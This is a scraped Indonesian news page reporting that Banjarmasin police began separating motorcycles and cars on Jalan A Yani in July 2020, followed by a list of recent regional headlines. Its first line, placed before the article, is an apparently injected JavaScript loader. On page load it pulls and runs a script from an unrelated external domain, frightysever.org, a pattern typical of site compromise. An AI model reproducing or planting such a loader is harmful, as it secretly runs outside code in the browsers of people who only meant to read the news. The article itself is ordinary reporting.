(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kanalisasi Jalan A Yani Banjarmasin, Roda Dua dan Roda Empat Dipisah


KANALKALIMANTAN.COM, BANJARMASIN – Terhitung sejak Senin (6/7/2020),  jajaran Sat Lantas Polresta Banjarmasin mulai menerapkan kanalisasi jalan. Penerapan memang saat ini baru dilakukan di ruas jalan A Yani kota Banjarmasin.

Menurut Kasat Lantas Polresta Banjarmasin AKP Gustaf Adolf Mamuaya, kanalisasi jalan yang baru ini diterapkan bertujuan untuk menertibkan pengguna jalan, terutama pengendara roda dua. Karena sesuai Undang-Undang Nomor 22 Tahun 2009, pengendara roda dua diharuskan menggunakan lajur kiri jalan.

“Di Banjarmasin masih banyak pengendara roda dua yang masih menggunakan lajur sebelah kanan. Makanya kita berencana untuk menertibkan,” kata Gustaf, Selasa (7/7/2020) siang.

Kendati kewenangan jalan A Yani berada di bawah Balai Pengelola Transportasi Darat (BPTD) XV Kalimantan Selatan, Gustaf menyebutkan, jajarannya akan berkoordinasi membuat  rambu-rambu yang menunjukkan lajur yang harus dipergunakan.

Kasat Lantas Polresta Banjarmasin AKP Gustaf Adolf Mamuaya. Foto: Fikri

“Tetapi, saat ini kita lebih mengimbau kepada masyarakat dan mengarahkan bahwa lajur kiri adalah untuk pengguna roda dua,” ucap mantan Kasat Lantas Polres Banjarbaru ini.

Saat ini, penerapan kanalisasi jalan baru dilakukan di sepanjang Jalan A Yani dari Km 6 ke Km 1. Jika masyarakat sudah terbiasa, tidak menutup kemungkinan akan diterapkan di ruas jalan-jalan lainnya, terutama yang memiliki dua lajur.

“Kita sudah menggelar anggota di sepanjang jalan A Yani, dan kita sudah menggunakan papan imbauan,” lugas Gustaf.

Gustaf menyebutkan, saat ini belum ada penindakan bagi pengendara yang tidak mematuhi penerapan kanalisasi jalan. Namun demikian, ia mengatakan tidak menutup kemungkinan akan diberikan penindakan.

“Kita tidak ingin adanya penegakan hukum, tetapi kita ingin masyarakat lebih tertib tanpa harus melakukan tindakan. Tujuannya untuk mengurangi risiko kecelakaan. Sangat rawan kendaran roda dua itu berkendara di lajur kanan,” pungkas Gustaf. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie


Al Ghifari

Recent Posts

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

2 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

7 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

21 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

23 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

This website uses cookies.